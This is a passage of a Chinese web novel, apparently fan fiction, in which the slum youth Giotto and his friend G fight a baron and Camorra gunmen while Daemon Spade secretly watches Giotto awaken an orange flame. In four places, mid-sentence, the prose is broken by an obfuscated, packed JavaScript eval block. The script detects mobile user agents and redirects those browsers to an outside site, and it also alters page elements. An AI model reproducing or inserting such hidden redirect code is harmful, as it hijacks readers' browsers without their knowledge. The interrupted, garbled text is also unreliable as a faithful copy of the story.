乔托感到掌心发烫，不是晒的，更像是从身体深处涌上来的热度。他不动声色地握紧拳头：“我会解决的。” “空口白话！”罗西突然暴起，独眼赤红，抡起撬棍砸向阿马托。 他不是真的要伤人，更多的是咽不下这口气，想在众人面前保住颜面。 阿马托脸色骤变，鱼叉本能地横起。 就在武器即将碰撞的那一霎那，乔托冲了上去。 时间仿佛变慢了，他清晰看见撬棍划过的弧线、鱼叉尖端的锈迹，还有两个男人脸上狰狞的表情。他没想那么多，左手推罗西胸口，右手压住阿马托肩膀—— 接触的瞬间，额头和掌心猛地一阵灼热，一抹橙金色的光晕从皮肤下闪现，微弱得像在正午的阳光下点燃的火柴。 罗西的撬棍僵在半空，肌肉绷得发抖，却动不了分毫；阿马托的鱼叉“咣”地掉了下来，整个人瞬间没了力气。两个人脸上的凶狠还没褪去，眼神却先放空了，仿佛灵魂被什么东西拽出去晃了一圈，又塞了回来。 三秒。 或许更短。 两人同时后退一步，喘得像刚搬完一整船的货物。罗西盯着自己的手，仿佛不认识它了；阿马托抹了把脸，手指都在发抖。 “我……”罗西的嗓子发哑。 “操。”阿马托低声骂了一句，没看乔托。他暂时不敢看他了。 乔托收回手。那股热意退得比来时还快，取而代之的是眼前一黑，耳朵里嗡的一声，像有人在他的脑袋里敲钟。他强撑着站稳，心跳快得发慌。 他自己也不明白刚才发生了什么。 “就这样吧，”乔托抢在他们追问前开口，声音比往常低了一些，“货款按刚才说的分。渔行的事，三天内给你们答复。” 这一次，没有人反对。 傍晚，乔托带着一丝没有散尽的虚脱感，爬上贫民窟边缘一栋半废弃房屋的屋顶。这里是他和G的秘密据点，屋顶的破瓦片被他们仔细整理过，还铺了一块捡来的旧麻袋，坐上去不会硌得慌。 从这里可以看见巴勒莫城市的全貌，近处是拥挤杂乱的贫民窟，远处是华灯初上的上城区。 “谈成了？”G的声音从身后传来。 “暂时。”乔托往旁边挪了挪，让出一个位置。 G坐下，从怀里掏出两个苹果，扔给乔托一个。两人并排坐着，啃着酸涩的果子，看着城市在夜幕中逐渐模糊的轮廓。 “科扎特今天来找我了。”G说，“他在东边也拉起了自卫团，有十几个人，问我们要不要联合训练。” 乔托点点头：“这是好事。科扎特是个仗义的好人，信得过。” “不过，”G咽下苹果，表情严肃了一些，“还有个坏消息。拉涅利家的杂碎没死心，最近在暗地里撒钱，想搭上卡莫拉的路子，联手对付我们。” 拉涅利，那个放任儿子抢走他们姐妹的小贵族家的管事，三个月前被自卫团用一系列精心设计的陷阱曝光，之后被主家赶了出去。 乔托原本以为事情已经结束了，现在看来，仇恨的种子埋得比想象中深。 “卡莫拉不会轻易为别人报仇。”乔托分析，“除非有足够的好处。” “能打击我们就是好处，”G的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218877|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中闪过对外来的不入流小混混的不屑，“而且马尔科他爹在乡下还有几个农庄，虽然不大，但做筹码也足够了。” 两人陷入短暂的沉默。海风从远处吹来，带着咸腥味和隐约的歌声。 “G。”乔托突然开口，声音轻得好像在自言自语，“我总觉得……有人在看我们。” G嚼着苹果的动作停下了：“宪兵？还是拉涅利家的狗？” “不是。”乔托摇摇头，目光越过低矮的屋顶，落在远处山丘的黑影上，“像是……站在更高处的人。就像在看蚂蚁搬家一样，你看不见他，可他能把咱们的一举一动都看清楚。” “蚂蚁？”G咧嘴笑了，眼中闪着野性的光，“那我们也得是会咬人的蚂蚁。等他下次再看过来，咱们就跳起来，咬他的手！” 乔托也被逗笑了，但笑容很快淡去。他摊开手掌，掌心的纹路在暮色里模糊不清。白天的那个瞬间又浮现出来，罗西的撬棍僵在半空，阿马托的手抖得像筛糠，他自己掌心的那一股灼热，还有那种仿佛能触摸到他人情绪的感觉。 “G，”他低声问，“要是以后挡在咱们前头的，不是地痞混混，也不是马尔科那种小角色……而是真正的军队，真正的权贵呢？” G没有立刻回答。他啃完最后一口苹果，把果核狠狠甩向巷子深处，砸在墙上发出“啪”的一声。 “你指路，我打架。”他终于说，声音平静得不像个十四岁的少年，“打不过就跑，跑不了……”他顿了顿，“就咬住他的喉咙，拖着他一起下地狱。” 乔托握紧拳头，掌心又泛起那股奇异的灼热，像有火苗在皮肤下乱窜。他知道，这条路越往前走，碰到的墙就越厚，直到有一天再也没法绕开。 “不。”他说，声音不大，带着斩钉截铁的意志，“要活。我们都要活着，活到看见阳光照进这里的那一天。” G转头看他。 最后一点天光勾勒出乔托的侧脸，脸颊仍然残留着少年的圆润，眼神里却有着近乎固执的信念。 “你变了。”G说。 “你也变了。”乔托笑道，“三个月之前你只会喊着‘揍他丫的’冲上去，现在知道先搞搞战术了。” G哼了一声，算作承认。 下面的巷子里传来脚步声和笑骂声，是自卫团的夜间巡逻组换班了。 G站起身，拍了拍裤子上的土：“该下去了。” 乔托点点头，最后看了一眼远方山丘的方向，那种被注视的感觉依然若有若无。 他想起在戴蒙·斯佩多身体里的那些日子，想起都灵那些冰冷华丽的房间。如果真的有双眼睛在看，会不会就来自那样的地方？ 掌心又传来微弱的悸动。乔托低头，在彻底暗下来的天色里，他似乎看见生命线边缘掠过一丝金色的微光，快得就像是错觉一样。 “乔托？”G在梯子中段回头喊。 “来了！”他握紧手，把那点微光攥进掌心，跟着爬下去。 身后，巴勒莫沉入夜色。 贫民窟的油灯一盏接一盏亮起，昏黄的灯光摇晃着，像是随时都会熄灭，上城区的煤气灯连成一片，亮得刺眼，再远处的山丘黑黢黢的，安静得仿佛从来没有人站在上面向下看。 27. 第 27 章 巴勒莫的午后，阳光炙热，照在斯佩多家橄榄园的白色石墙上。 戴蒙站在一株百年老树的树荫里听着管家汇报产量，目光越过整齐的树列，落在远处隐约可见的贫民窟屋顶上。 “……北边的收购价压得太狠，少爷，今年就算增产——”管家擦拭着额头的汗，手里攥着账本。 戴蒙抬起手，示意停止。 “价格我来谈，”他淡淡地说，“但采收的速度要加快。工人的工钱按市价提高两成。” 管家愣住：“两成？可是少爷，这……” “按我说的做。”戴蒙转身，深蓝色的外套被热风掀起一角，“另外，我不住庄园了，城里有生意要谈。” “少爷，城里现在不安全，最近动荡，不少人都从城里搬到乡下住呢。” “无妨，马尔切洛会安排好的。” 管家不再多言，深深鞠躬，直到戴蒙的身影走远了才敢直起身。 马车离开橄榄园，朝着巴勒莫城的方向驶去。 戴蒙脱下手套，从怀中摸出一个珐琅鼻烟壶。打开，里面没有烟草，只有一张折叠的薄纸，上面用密文写着： [自卫团扩充至三十七人。乔托调解码头纠纷，过程异常，目击者称“两人突然像被鬼掐住脖子”。拉涅利余孽接触博尔基亚男爵，疑有交易。] 他的指尖在“异常”上停顿了片刻，然后合上鼻烟壶，望向窗外。 巴勒莫城近了。 阿拉伯拱门下晾着女人的衣服，诺曼式教堂的钟声混杂着巷子里的叫骂，橘子花香飘过，底下是污水沟的酸腐气。这座城市从来不曾掩饰自己的撕裂。 两个小时之后，戴蒙已经化身“达米亚诺·斯佩蒂”——一个来自皮埃蒙特的葡萄酒商人，有着普通的浅棕色眼睛和灰白的头发，模样瞧着三十岁出头。 马尔切洛扮作他的随行秘书。 旅馆位于商业街和上城区的交界处，戴蒙的房间在二楼尽头，窗户正对着一条通往贫民窟的斜坡。 “这是弗朗切斯科·博尔基亚男爵的晚宴邀请函。”马尔切洛将一张烫金卡片放在桌上，“通过港口税务官的关系拿到的，晚宴在明天晚上的七点。” 戴蒙拿起邀请函，指尖拂过凸起的家徽：“宾客名单拿到了吗？” 马尔切洛点点头：“主要是本地商人、小贵族，还有两个来自那不勒斯的贸易代表，实际上是卡莫拉的中层头目。” 他停了一下，继续说：“另外，因为要举办宴会，男爵雇佣了额外的厨房帮工，其中一个是自卫团成员的父亲。” 戴蒙抬眼。 “那个帮工是贫民窟的菜贩子，前些年受过伤，干不了重活。他儿子在自卫团的巡逻组做事，是乔托信任的人。借助帮工的身份混入宴会收集情报，他们很擅长这样进行渗透。” “Bravo.”戴蒙的嘴角勾起一丝笑意，“那么，看来我们明晚就能见到这位‘贫民窟之王’了。” “需要近距离安排接触吗？” “不。”戴蒙放下邀请函，“让偶遇自然发生，过度设计会引起警觉，他可能比我们想象的还要敏锐。” 马尔切洛点点头，退到房间角落的阴影里。 戴蒙走到窗前，看着下方街道上人来人往，左手的小指上，美杜莎之发安静地贴合皮肤。 次日晚，博尔基亚府邸。 宴会厅里灯火通明，女士们的裙摆飘逸，男士们的谈话声低而克制。 戴蒙手持一杯红酒，与一个那不勒斯商人闲聊着关税问题，目光却不时扫过宴会厅边缘的侧门。 那不勒斯商人压低声音：“听说北边的改革派又在议会闹事。那位皮埃蒙特的国王，野心可不小。” 戴蒙微微颔首，脸上挂着圆滑的微笑：“政治是政治家的博弈。我们只求货能顺利通关，钱能安稳落袋。” 对方会意地微笑，双方碰了碰杯。 这时，侧门开了。一个金发少年端着银制托盘走出来，上面是刚出炉的杏仁甜点。他穿着干净的白色衬衫和黑色马甲，扣子都整齐得扣好。 乔托·彭格列。 戴蒙不动声色地观察着。快十六岁的少年比同龄人略高，身形瘦削，脸庞干净，琥珀色的眼眸在水晶灯下澄澈明亮。但他的掌心有厚茧，右手虎口有未愈合的割伤，行走时带着警觉的姿态。 乔托将甜点送到主桌，动作熟练而优雅。男爵夫人对他笑了笑，说了句什么，乔托微微低头回应，转身准备返回厨房。 戴蒙移动了位置，时机计算得恰到好处。 当乔托经过他身侧时，戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218878|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙“恰好”转身，手中的红酒杯不慎倾斜—— 深红色的液体泼洒而出，大半溅在乔托的衬衫前襟。 “诶呀，我的上帝！”戴蒙立刻说。他从口袋里掏出一方丝质手帕递过去，“真是太抱歉了，年轻人，让我赔偿你的衣服。” 宴会厅里有几道目光投来，又很快移开。 乔托停下脚步。他低头看了看胸前的污渍，然后抬头看向戴蒙，瞳孔微微收缩，飞快地扫过一切细节。 那一瞬间，戴蒙感到一种仿佛被看穿了的凉意。 “不必了，先生。”乔托接过手帕，但没有用，只是握在手里，声音礼貌但疏离，“衣服是旧的，洗不掉也无所谓。” 戴蒙保持着歉意的微笑，仔细捕捉着乔托脸上的每一丝变化。他向前半步，压低声音：“你叫乔托对吧？我听说……你在这一带有些影响力，前几天码头工会的事情处理得很漂亮。” 少年的睫毛几不可察地颤了一下。 “年轻人有魄力是好事。”戴蒙继续说，语气温和，“但也要小心树大招风，比如今晚的男爵阁下——”他微微侧头，示意主座上那个肥胖的男人，“他似乎不太喜欢别人动他的奶酪。” 乔托的呼吸一滞，目光扫过戴蒙的脸，然后垂下眼帘。 “我只是个帮厨的，不懂大人物们的事。”他说，声音依旧平稳，但戴蒙听出了其中的戒备，“刚才夫人吩咐了一些事需要处理，请恕我失陪。” 他微微鞠了一躬，转身走向侧门，背影没有一丝慌乱。 戴蒙站在原地，看着那扇门在乔托身后关闭。他脸上歉意的笑容慢慢褪去，取而代之的是一种专注的，猎人般的表情。 马尔切洛不知何时出现在他身侧，手里端着两杯新酒。 “他察觉了。”戴蒙接过酒抿了一口，目光仍然盯着那扇关闭的门，“很敏锐的直觉，比报告中描述的更加聪明。” “要收手吗？” 戴蒙低笑：“不，恰恰相反，把男爵和卡莫拉明晚的交易地点，匿名塞进自卫团的门缝去。” 马尔切洛眉梢微动。 戴蒙的声音很轻，像是自言自语一样：“我想看看，当机会摆在眼前，他能否继续坚持那种克制的原则，还是……不顾一切地扑上去咬断敌人的喉咙。” 28. 第 28 章 宴会厅后巷。 乔托靠着冰冷粗糙的石墙，深吸了几口气。衬衫前襟的酒渍早已干涸发硬，黏在皮肤上。他缓缓展开手中的那方丝帕，指尖划过丝滑的面料。 那是上等丝绸，边缘绣着不易察觉的缠枝藤暗纹。丝帕的一角上，用银线绣着一个花体字母“S”，线条繁复。 那个商人。 乔托闭上眼，回忆着刚才的每一秒。那个男人的身高、肩膀的宽度、手指的长度、说话时嘴角微妙上扬的方式。所有这些细节组合在一起，在他脑海中勾勒出一个完全不同的轮廓。 他想起那种感觉。当红酒泼过来的时候，当男人递出手帕的时候，当他说出那些话的时候，乔托的脊背一阵阵发凉。 他低声自言自语：“他认识我，至少，他知道我是谁。” 巷子另一端传来脚步声。G从墙角的阴影中走出来，身上还沾着灰尘，手里攥着一块用油纸包着的面包。 “怎么样？宴会上查到什么？”他压低声音问，把面包递到乔托手里。 乔托接过面包，没有急着吃。 “男爵和卡莫拉的人在谈交易，我听到了一些片段，他们反复提到‘清理贫民窟的麻烦’、‘一次性解决’。看样子是想对我们动手。” G的眼神冷了下来，右手握紧了腰间的短刀：“时间地点确定了吗？” “明晚。地点没听清，但他们提到会从仓库提一批货，我猜是武器。”乔托咬了一口面包，味同嚼蜡，“还有，宴会上有个北意大利商人，叫达米亚诺·斯佩蒂，他故意把酒洒在我身上。” G立刻警觉：“他在试探你？” 乔托低头看向手中的丝帕：“不止。他借机和我说话，暗示我小心男爵。听上去像是警告，但我总觉得他在刻意诱导我的想法。他还知道码头工会的事，知道自卫团的存在。那绝不会是个普通商人。” 两人陷入短暂的沉默。 “我们怎么做？”G问。 乔托握紧丝帕，丝绸的细腻与掌心的厚茧摩擦，传来轻微的刺痛。但刺痛之下，那种潜藏的奇异热度又开始隐隐躁动。他闭上眼，飞快地权衡利弊，再次睁开眼时，眼神已经变得坚定。 “那个商人要查，得查清他的身份和目的。”他顿了顿，语气决绝，“但男爵和卡莫拉的事情不能等。他们要清理贫民窟，我们必须先动手。” 他站直身体，通透的眼睛在黑暗里像两点冷火。 “通知所有人，散开探查消息，必须要确定他们的交易地点。明晚，不管那是不是陷阱，我们都要去，而且要按照我们的方式去。” G笑了，露出两排锋利的牙齿，眼神中带着狠劲儿：“好。” 他们消失在巷子深处。乔托走前，小心翼翼地将丝帕叠好，塞进贴身的口袋里。宴会厅的角落，戴蒙正端着红酒杯与博尔基亚男爵碰杯，没人注意到他眼底的冷漠与审视。 —————————— 废弃的圣方济各修道院孤零零的矗立在城郊的山丘上。墙体斑驳脱落，月光透过破碎的穹顶，将坍塌的拱廊照得惨白。 乔托趴在修道院的断墙后，粗糙的石头表面还残留着白天的余温，但在他身体的深处，另一种不相上下的热度正在不安地躁动。 他做了个深呼吸，试图压下那份从昨晚持续到现在的不安。 G的声音从左侧传来，压得极低：“乔托，东边来人了。” 乔托收敛心神，顺着G示意的方向望去。山道的拐弯处，几点晃动的灯火正在缓慢地往上爬。马车轮碾过碎石的声音隐约可闻，还有压低的人声，混着西西里方言和那不勒斯口音。 “七八个人。”G判断，“两辆马车，重量应该不轻。” “等他们全部进入前院，卡莫拉的人也出来了再动手。”乔托压低声音说，“按计划行动，塞弗诺拉带人守住后山的窄路，你带着突击组从西侧回廊切入，我的人负责制造混乱，伺机夺取武器。” G转头看他。月光下，乔托的脸半明半暗，眼睛藏在阴影里像两枚淬过火的玻璃珠。 “你确定要这么做？”G问，“那封匿名信太巧了，我们刚要派人寻找交易地点，它就自己出现在门缝里，简直就像是有人把刀递到你手里，还告诉你该捅哪儿。” 乔托没有立刻回答。他盯着山道上的光，喉咙发紧。他摊开右手，月光洒在他的掌心，上面什么都没有。可他知道，那东西还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218879|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，三天前码头调解纠纷时的那股力量，就藏在身体的深处，等待被唤醒。 他低声说：“男爵和卡莫拉要清洗贫民窟是真的，武器交易也是真的，无论递刀的人是谁……我们都得先解决眼前的威胁。” G盯着他看了两秒，然后咧嘴一笑：“行，干就干。” 山道上，第一辆马车的轮廓已爬上坡顶。 同一时间，修道院北侧山坡的更高处。 戴蒙·斯佩多站在一株枯死的树下，手里的单筒望远镜稳稳对准下方的废墟。他换上了一身深灰色的劲装，幻术的力量在周围隐隐起伏着，整个人融进夜色里几乎看不见。 马尔切洛蹲在他身侧三米处。 “男爵的人到了。”马尔切洛低声说，“卡莫拉的人在修道院的地下室，十五个人左右，携带四把转轮手枪。” 戴蒙的目光始终没有离开望远镜：“自卫团的位置？” “伏击圈已经形成了。东侧断墙五个人，西侧回廊七个人，南侧山坡八个人，还有三人在外围游走。”马尔切洛顿了顿，语气里多了一丝不易察觉的赞赏，“他们的组织度比预期的高很多，埋伏地点选择隐蔽，人员分布合理，很有章法。” 望远镜里，戴蒙找到了他。 金发少年趴在断墙后面，身体紧绷得像拉满的弓。 “他在等，”戴蒙轻声说，“等所有人都进入陷阱中心。” 下方的马车已经驶入修道院废弃的广场。博尔基亚男爵从第一辆车上滚下来，礼服绷在肚子上，扣子都快崩开了。六个护卫散在他周围。 “古斯塔沃！”他朝着黑暗喊道，“货带来了吗？” 脚步声从地下室传来。 古斯塔沃走出来，脸上那道从额角到下巴的伤疤格外扎眼。他身后跟着十几个手下，其中四人抬着两个沉重的木箱。 “钱呢？”古斯塔沃的声音沙哑。 男爵示意手下抬出来一个皮箱，打开，月光洒在堆积成小山的金币上。 就在那一瞬，乔托的手抬了起来。 平稳，果断，没有一丝迟疑。 同一时间，高坡上，戴蒙屏住呼吸，望远镜的十字准心，牢牢锁定了那只手。 29. 第 29 章 第一声爆炸骤然从修道院西侧响起，打破了夜晚的死寂。 那不是杀伤力强大的烈性炸药，只是自卫团利用现有材料自制的响雷。废弃的罐子里面塞满劣质火药和碎铁片，点燃引信后可以瞬间发出震耳欲聋的巨响，伴随着滚滚黑烟喷涌而出，锋利的铁片借着爆炸的冲击力四散飞溅，虽然不足以致命，但可以瞬间制造混乱威慑敌人。 “有埋伏！”卡莫拉的人反应极快，立刻拔枪。 但混乱已经蔓延，第二波攻击从东侧袭来。塞弗诺拉带着突击组的少年们从断墙后冲出来，手里拿着旧渔网和装满石灰粉的袋子。这是贫民窟特有的混战打法，用渔网死死缠住敌人的手脚，让其无法动弹，再用石灰砸向他们的脸，迷住眼睛。 在近距离的缠斗中，卡莫拉手中枪械的优势被大幅削弱，一时间只能被动防御。 “退！退到马车后面！”古斯塔沃吼道，同时举起手中的枪。 刺耳的枪声响起。 第一枪打中了一个身形瘦高的自卫团少年，子弹穿透他的肩膀，鲜血染红了衬衫。 第二枪紧随其后，却意外打空了。只见G像一头敏捷的猎豹，从西侧回廊的阴影中纵身扑来，手里的木棍带着风声，狠狠砸在枪手的手腕上，“咔嚓”一声清脆的骨裂声响起，手枪应声落地。 乔托始终没有动，依然稳稳地趴在断墙后面，双眼紧紧盯着前院的每一处战局，眼神冰冷而专注，仿佛与周围的混乱隔绝。 身体深处那股奇异的热量越来越强，顺着血管流向掌心与额心，烧得他指尖发麻。他死死咬紧牙关，嘴角渗出一丝血丝，拼尽全力压制着那股躁动的力量。 他不知道这股力量的来源，也不知道释放后会带来什么，只是凭着本能清楚这未知的力量绝不能轻易释放，否则绝对会酿成无法挽回的后果。 就在这时，他看到了危险。 塞弗诺拉为了掩护G冲得太靠前了，暴露在古斯塔沃的射击范围。 时间仿佛在这一刻被按下了慢放键，周围的混乱与嘈杂瞬间远去，只剩下乔托急促的心跳声砰砰作响。他眼睁睁看着古斯塔沃举起手枪，枪口对准塞弗诺拉的胸口，甚至能看见枪口即将冒出的白烟。 虽然枪声尚未响起，但他的脑海中已经清晰浮现出了后续的画面：塞弗诺拉中弹倒下，鲜血喷涌而出，染红了修道院古老的石板路，G看到同伴倒下后发狂般冲上去，最终也成为枪口的下一个目标。 那些画面真实得可怕，清晰得像是已经发生过的一样，深深刺痛着他的神经。 “不——” 他冲了出去。 没有思考，没有计划，身体先于意识行动。他跃过断墙，踏过碎石，冲向塞弗诺拉。每一步，掌心的热度就升高一度，烧得他几乎握不紧拳头。 古斯塔沃扣下扳机。 枪声响起。 但就在同一瞬间，乔托的手掌挡在了塞弗诺拉面前。 耀眼的橙金色光芒从乔托掌心和额头骤然炸开，瞬间照亮了昏暗的修道院前院，驱散了弥漫的黑烟。 那一刹那，乔托完全感受不到手掌的存在，甚至感觉不到自己的身体，仿佛整个意识都被抽离，化作那团爆裂的光芒，视线里只剩下纯粹的金色，耳边没有了枪声与惨叫，只有无声的轰鸣在脑海中回荡。 那光芒像燃烧的火焰，带着灼热的温度，从他的掌心疯狂喷薄而出，在空气中短暂凝成一个带着微光的半透明屏障，边缘微微晃动着，散发着奇异的能量波动。 子弹撞上光晕的刹那，轨迹发生了微不可察的偏转。它擦着塞弗诺拉的肋侧飞过，撕开衣服和一层皮肉，但没有击中内脏。塞弗诺拉被冲击力带得踉跄倒地，但还活着。 橙金色的光晕在子弹飞过的瞬间便缓缓消散，仿佛从未出现过一样，只在空气中留下一股奇特的味道，仿佛雷雨过后的清新气息，又夹杂着淡淡的、类似烧焦松木的气味。 整个战场陷入了短暂的死寂。 在场的每一个人，无论是自卫团的少年们，还是卡莫拉的手下，都亲眼看见了那道橙金色的火焰。它虽然短暂，虽然微弱，但在深沉漆黑的夜色中，却明亮得刺眼，如同神明降下的神迹，圣洁而温暖，又带着一丝未知的诡异，像是魔鬼留下的印记，神秘而令人畏惧。 古斯塔沃彻底愣住了，脸上的残忍瞬间被惊恐取代，握枪的手控制不住地微微颤抖。 “撤！”他歇斯底里地嘶吼，声音里灌满了恐惧，“快撤！别管货了！” 卡莫拉的手下们慌忙架起受伤的同伴，扔下装着武器的木箱，争先恐后地朝着后门外马车的方向狂奔。男爵早已被吓得躲进了马车车厢，车夫连忙鞭打马匹，狼狈地掉头冲下山道。 自卫团没有人追击。他们站在原地，喘着粗气，看着彼此，眼神里都有同样的困惑和震撼。 乔托双腿一软跪在地上，手掌撑着粗糙的石板才勉强没有倒下。刚才那一瞬间的力量爆发几乎抽空了他所有的力气，他浑身都在颤抖，冷汗浸湿了衣衫。 掌心连同额头传来钻心的刺痛，像是被真正的火焰灼烧过。他缓缓低下头，摸了摸眉心，又看着自己的手掌，皮肤表面完好无损，但掌心的纹路深处却残留着一丝极淡的橙金色痕迹，像是一道融化的金丝嵌进了血肉。 “乔托……”G的声音从身后传来。 乔托抬起头，G站在他面前，脸上沾着血和灰，手悬在半空。 G的声音很轻：“刚才那火焰……” “我不知道。”乔托的声音沙哑，“但它救了我们。” 塞弗诺拉挣扎着坐起来，手按着肋侧的伤口，血从指缝渗出。他脸色苍白，但眼睛亮得吓人。 他啐出一口带血的唾沫：“管它是什么，有用就行！但那帮杂碎跑了，肯定还会有下次！” G伸手把塞弗诺拉拉起来，然后转向乔托：“你能控制它吗？” 乔托的目光落回自己的手掌，手指慢慢收紧，紧握成拳。掌心的刺痛还在隐隐作祟，但那股躁动又灼热的热量已经渐渐消退，缩回身体的深处。他能清晰地感觉到那股力量的存在，它没有消失，只是暂时沉睡。 “我不知道。”他重复，然后抬起头，望向黑暗中山坡的方向。 那里空荡荡的，只有夜风穿过枯死的橄榄树枝，发出呜呜的低鸣，但他的心底有着强烈的直觉——刚才那股力量爆发的瞬间，有什么人正看着这里。那注视不是来自男爵的手下，也不是卡莫拉的哨岗，而是更遥远、更隐蔽的存在。 “下次， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218880|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”乔托说，声音逐渐恢复力量，“我们会准备得更充分。” 他站起身，腿还有点软，但脊背挺直。月光照在他身上，金发和脸上都沾了灰尘和血点，但那双眼睛清亮得不可思议，像是火焰淬炼过的宝石。 “收拾现场，带走能用的武器，处理伤员。”乔托开始下令，声音恢复了平时的清晰，“G，你带人检查木箱。塞弗诺拉，你需要立刻包扎。其他人，十五分钟内撤离，回总部集合。” 命令一条条下去，人群从震撼中恢复，开始各自行动。这就是乔托·彭格列的力量，即使在超常事件发生后，他依然能维持秩序，让所有人相信，事情还在可控制范围内。 但只有乔托自己清楚，有些事情，从他身上爆发出橙金色火焰的那一刻起，就已经彻底改变，再也回不到从前了。 掌心残留的隐隐刺痛，体内沉睡的热流，还有刚才那一瞬间与世界建立的全新的奇妙联系，这些东西像发芽的种子一样，深深扎根在他的心底，再也无法抹去。 山坡上，戴蒙缓缓放下单筒望远镜。他的手依旧稳如磐石，但左手小指上的地狱指环传来的灼热感却异常清晰强烈。 “您看到了吗？”马尔切洛的声音很轻。 “看到了。”戴蒙缓缓开口，语气平淡，带着一丝难掩的兴奋，“那不是幻术，也不是什么江湖戏法。是更高层次的能量，是生命本源的力量。” “需要重新评估威胁等级吗？” 戴蒙陷入了长久的沉默，夜风拂动他的衣摆，他静静伫立在枯死的橄榄树阴影下，目光始终落在下方的修道院前院。 下面，自卫团的少年们已经从震撼中恢复，开始有序撤离。乔托走在队伍的最后，步伐沉稳，不时停下脚步，回头望向山坡的方向，眼神警惕而锐利。 他感觉到了。 戴蒙在心底笃定地想。乔托那种与生俱来的超直感，在刚才的力量觉醒后，似乎变得更加敏锐了。即使他用幻术模糊了自己和马尔切洛的存在感，乔托依然可以感觉到藏在黑暗里的注视。这份敏锐，更加让他觉得乔托是个值得关注的对象。 戴蒙的嘴角勾起一丝极淡的，近乎欣赏的弧度：“不。恰恰相反，把威胁等级……调整为潜在盟友。” 马尔切洛没有表现出惊讶，微微点头：“那么男爵那边？” “男爵的戏份已经落幕了。”戴蒙语气平淡，“卡莫拉需要一个替罪羊来挽回颜面，男爵是最合适的人选。确保证据会出现在合适的人手里。” “那乔托·彭格列？” 戴蒙缓缓低头，目光落在自己的左手上，神色专注。那枚地狱指环此刻不再是普通银戒的模样，指环表面的九道蛇形纹路线条灵动，正微微蠕动着，像是一群即将从沉睡中苏醒的小蛇。戴蒙指尖燃起一丝幽蓝色的火焰，蛇群顿时蠕动得更加剧烈了。 “继续观察。”他说，“但要保持距离。他现在就像刚点燃的篝火，需要时间学习控制火焰，贸然靠得太近很容易被灼伤。” 戴蒙抬眼，最后看了一眼下方空荡荡的废墟。月光依旧冷清，石板上残留的血迹在夜色中渐渐凝结成暗黑色。 “野地里的种子不仅穿透了岩石，”戴蒙低声自语，转身走向更深的黑暗，“它竟然开始燃烧了。” 30. 第 30 章 旅馆二楼尽头的房间昏暗，老旧的煤气灯将戴蒙·斯佩多的侧影拉长，投在褪色的墙纸上。他端坐在深色木椅上，面前的桌子上放着一叠古老的资料，左手小拇指根部，那枚美杜莎之发正散发着幽幽的微光。 三天前的夜晚，在那座废弃修道院，他目睹乔托·彭格列身上爆发出橙金色的火焰后，这枚地狱指环便再未安宁。每当夜深人静，指环便莫名发烫；而只要他想起那簇火焰，它又会微微脉动，仿佛在呼唤着什么。 戴蒙闭上眼，脑海中再次回放那一幕：深沉的夜色里，金发少年扑向同伴，掌心炸开橙金色的光晕，子弹撞上光晕的瞬间，轨迹偏转，那股力量原始、狂暴，却又纯粹得不可思议。 “死气之炎……”戴蒙低声自语。 他本应感到惊讶。家族古籍中记载，这种特殊能力的存在或许比人类文明更久远，却始终隐匿于传说。能成功点燃死气之炎的人寥寥无几，无一不是各自时代的传奇人物。 在这个道德沦丧、人心堕落的时代，戴蒙游历各地，也只见过两个人点燃这种火焰。一个是他自己的雾之炎，靛蓝色的，冰冷诡异，另一人是活跃于威尼斯公国的神秘间谍，曾短暂地释放出一瞬即逝的紫色火焰。 他从未想过，自己竟然会在一个出身贫民窟，一无所有的小子身上，见到这簇燃烧一切、照亮黑暗的煌煌之火，而且还是死气之炎中最稀有、最强大的大空属性。 内心深处，一种他拒绝命名的情绪在疯狂翻腾，打破了多年来的平静与冷漠。 是嫉妒吗？嫉妒那簇火焰的纯粹无瑕，嫉妒少年心中那份不掺任何杂质的守护之心，嫉妒他即使身处泥泞也能保持本心，点燃希望？ 